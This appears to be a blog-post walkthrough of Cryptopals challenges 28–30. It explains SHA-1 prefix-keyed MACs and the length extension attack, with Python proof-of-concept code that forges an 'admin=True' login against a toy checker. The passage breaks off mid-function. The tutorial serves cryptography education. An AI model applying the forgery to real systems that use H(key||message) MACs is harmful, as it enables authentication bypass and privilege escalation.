&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9zZXQtNC1oYXNoZXMvaGFzaC12ZXJpZmllci1nZW5lcmljLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+CkNvbXB1dGUgdGhlICptZXNzYWdlIGF1dGhlbnRpY2F0aW9uIGNvZGUqIChNQUMpIGRvaW5nIGBIKGsg4oilIG0pYC4KCkluIHRoZW9yeSBvbmx5IHdobyBrbm93cyB0aGUgc2VjcmV0IGtleSBga2AgY2FuIGNyZWF0ZSBhbmQgdmVyaWZ5IHRob3NlLApidXQgbm8sIHRoaXMgc2NoZW1hIGVzIGJyb2tlbi4KClRoaXMgcG9zdCBjb3ZlcnMgKm1hdGFzYW5vIGNoYWxsZW5nZXMqIGZyb20KWzI4IHRvIDMwXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvNCkgc28gKnNwb2lsZXIgYWxlcnQqLgptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/matasano/set-4-hashes/hash-verifier-generic.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Compute the &lt;em&gt;message authentication code&lt;/em&gt; (MAC) doing \(H(k ∥ m)\).
&lt;br /&gt;&lt;br /&gt;
In theory only who knows the secret key \(k\) can create and verify those, but no, this schema es broken.
&lt;br /&gt;&lt;br /&gt;
This post covers &lt;em&gt;matasano challenges&lt;/em&gt; from &lt;a href="https://cryptopals.com/sets/4"&gt;28 to 30&lt;/a&gt; so &lt;em&gt;spoiler alert&lt;/em&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;keyed hash&lt;/em&gt; prefixes the message with the key \(k\) and computes a hash like SHA-1. The resulting hash is the MAC for the given message.&lt;/p&gt;
&lt;p&gt;Then, someone that knows also \(k\) can verify if a message is authentic or not computing the MAC and comparing it with the one provided with the message.&lt;/p&gt;
&lt;p&gt;If the computed hash matches the one provided, the message is authentic, otherwise it is not.&lt;/p&gt;
&lt;p&gt;Unfortunately this &lt;em&gt;prefix-keyed hash&lt;/em&gt; for MAC is &lt;strong&gt;broken&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Some very well known hash functions &lt;em&gt;expose&lt;/em&gt; their internal states that allows an adversary to &lt;strong&gt;append&lt;/strong&gt; data to the message and &lt;strong&gt;continue&lt;/strong&gt; the hash computation and generate a &lt;strong&gt;new valid MAC&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Hence the name &lt;em&gt;“length extension attack”&lt;/em&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="overview-of-keyed-sha-1"&gt;Overview of keyed SHA-1&lt;/h2&gt;
&lt;p&gt;Let’s take a look as how SHA-1 is used as a MAC.&lt;/p&gt;
&lt;p&gt;The plaintext message is prefixed with the secret key and hashed.&lt;/p&gt;
&lt;p&gt;SHA-1 pads the inputs to encode its length and to end with data multiple of 64 bytes (512 bits).&lt;/p&gt;
&lt;p&gt;The padding is a single bit 1 followed by a bunch of bits 0.&lt;/p&gt;
&lt;p&gt;The last 8 bytes of the padding are reserved for storing the length of the un-padded input in bits.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/matasano/set-4-hashes/hash-overview.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="hashs-states"&gt;Hash’s states&lt;/h2&gt;
&lt;p&gt;Initially SHA-1 begins with a well known state (composed by 5 &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; integers).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;h0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x67452301&lt;/span&gt;
&lt;span class="n"&gt;h1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xEFCDAB89&lt;/span&gt;
&lt;span class="n"&gt;h2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x98BADCFE&lt;/span&gt;
&lt;span class="n"&gt;h3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x10325476&lt;/span&gt;
&lt;span class="n"&gt;h4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xC3D2E1F0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once the input is padded, the resulting data is chopped into 64 bytes blocks and for each block the state of the hash evolves.&lt;/p&gt;
&lt;p&gt;Starting from the initial state \(h_0\), it evolves to \(h_1\) after having processed the block \(b_0\). Then, it evolves to \(h_2\) after the block \(b_1\) and so on.&lt;/p&gt;
&lt;p&gt;The final state is then used to compute the final hash.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/matasano/set-4-hashes/hash-states.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Note how the hash states \(h_1\) depends of the first block \(b_0\) that contains the secret key (or at least the begin of it).&lt;/p&gt;
&lt;p&gt;Therefore, the \(h_1\) cannot be guessed by an adversary or any other internal state.&lt;/p&gt;
&lt;p&gt;The final state however is &lt;em&gt;totally exposed&lt;/em&gt; by SHA-1: the concatenation of the state’s variables &lt;strong&gt;is&lt;/strong&gt; the resulting hash.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;h0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x67452301&lt;/span&gt;
    &lt;span class="n"&gt;h1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xEFCDAB89&lt;/span&gt;
    &lt;span class="n"&gt;h2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x98BADCFE&lt;/span&gt;
    &lt;span class="n"&gt;h3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x10325476&lt;/span&gt;
    &lt;span class="n"&gt;h4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xC3D2E1F0&lt;/span&gt;

    &lt;span class="c1"&gt;# pad msg and evolve h0, h1, h2, h3, h4&lt;/span&gt;
    &lt;span class="c1"&gt;# ....&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%08x%08x%08x%08x%08x&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And &lt;strong&gt;that&lt;/strong&gt; can be a problem.&lt;/p&gt;
&lt;h2 id="length-extension-attack"&gt;Length Extension Attack&lt;/h2&gt;
&lt;p&gt;The idea is to recover the hashing state from a MAC and continue the hashing &lt;em&gt;as if&lt;/em&gt; we were hashing a &lt;em&gt;longer&lt;/em&gt; message.&lt;/p&gt;
&lt;p&gt;This allows us to &lt;em&gt;extend&lt;/em&gt; a authentic message with arbitrary payload and compute a valid MAC for it without knowing the secret key.&lt;/p&gt;
&lt;p&gt;In the diagram below, we take the original MAC (the “final” hash state \(h_8\)) and compute the hash of the “remaining” message &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Knowing \(H(k ∥ ptext)\) we use it as the starting state and compute \(H(ext)\).
&lt;br /&gt;&lt;br /&gt;
The resulting hash will be &lt;em&gt;equivalent&lt;/em&gt; to \(H(k ∥ ptext ∥ pad ∥ ext)\): a valid MAC for the message \(ptext ∥ pad ∥ ext\).
&lt;br /&gt;&lt;br /&gt;
An adversary can submit \(ptext ∥ pad ∥ ext\) and pass it as authentic without knowing the key \(k\).
&lt;br /&gt;&lt;br /&gt;
\(ptext\) is assumed to be known by the adversary; \(pad\) isn’t but it can be guessed.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/matasano/set-4-hashes/hash-ext-states.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The extended message must be padded &lt;em&gt;as if&lt;/em&gt; we were padding the whole message: in \(pad'\) we need to write the length of the whole message.&lt;/p&gt;
&lt;p&gt;From the perspective of SHA-1 the whole input is the original message \(ptext\), the padding of the original SHA-1 call and the appended message \(ext\).&lt;/p&gt;
&lt;p&gt;In other words, we compute \(H(ext)\) starting not from the initial hashing state \(h_0\) but from \(h_8 = H(k ∥ ptext)\).&lt;/p&gt;
&lt;p&gt;The resulting hash will be equivalent to compute \(H(k ∥ ptext ∥ pad ∥ ext)\) but without the requiring of knowing the key.&lt;/p&gt;
&lt;h2 id="proof-of-concept-code"&gt;Proof of concept (code!)&lt;/h2&gt;
&lt;p&gt;Assume that someone checks is the user is admin or not verifying and reviewing a plaintext.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.toys.hashes.sha1&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sha1&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.toys.hashes.keyed&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;prefix_key_hash&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# unknown&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unverified_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;prefix_key_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;unverified_hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Bad MAC. Login aborted.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;admin=True&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Logged as admin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Logged as normal user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So a normal user would be logged as a “normal user”&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user=john;comment=cheese&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;prefix_key_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Logged&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;normal&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Without knowing the key we cannot just “hack” the logging request and pretend to be admin:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;admin=True&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Bad&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Login&lt;/span&gt; &lt;span class="n"&gt;aborted&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But we can do an length extension attack.&lt;/p&gt;
&lt;h3 id="get-the-hash-state-from-the-mac"&gt;Get the hash state from the MAC&lt;/h3&gt;
&lt;p&gt;First, we extract the hash state (a fancy way to say “decode 5 &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;”):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.conv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;repack&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_hash_fun_state&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash_hex&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;words_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash_hex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;repack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;words_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ifmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;4s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ofmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_hash_fun_state&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%08x%08x%08x%08x%08x&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="guess-the-padding"&gt;Guess the padding&lt;/h3&gt;
&lt;p&gt;Let’s create a padding function like SHA-1 defines based on a given message length:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;pad_like_sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg_length&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;bit_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg_length&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# Padding used by SHA1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x80&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;bit_len&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We know the length of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but we don’t know the length of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so we cannot reconstruct the original padding of the original MAC.&lt;/p&gt;
&lt;p&gt;Nevertheless it can be brute-forced.&lt;/p&gt;
&lt;p&gt;Basically we create a pad for a possible message length and extend the hashing of the original MAC with an empty string.&lt;/p&gt;
&lt;p&gt;Then we submit to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the new login request with the new (forged) MAC and see if it is valid or not:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg_length&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;pad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pad_like_sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
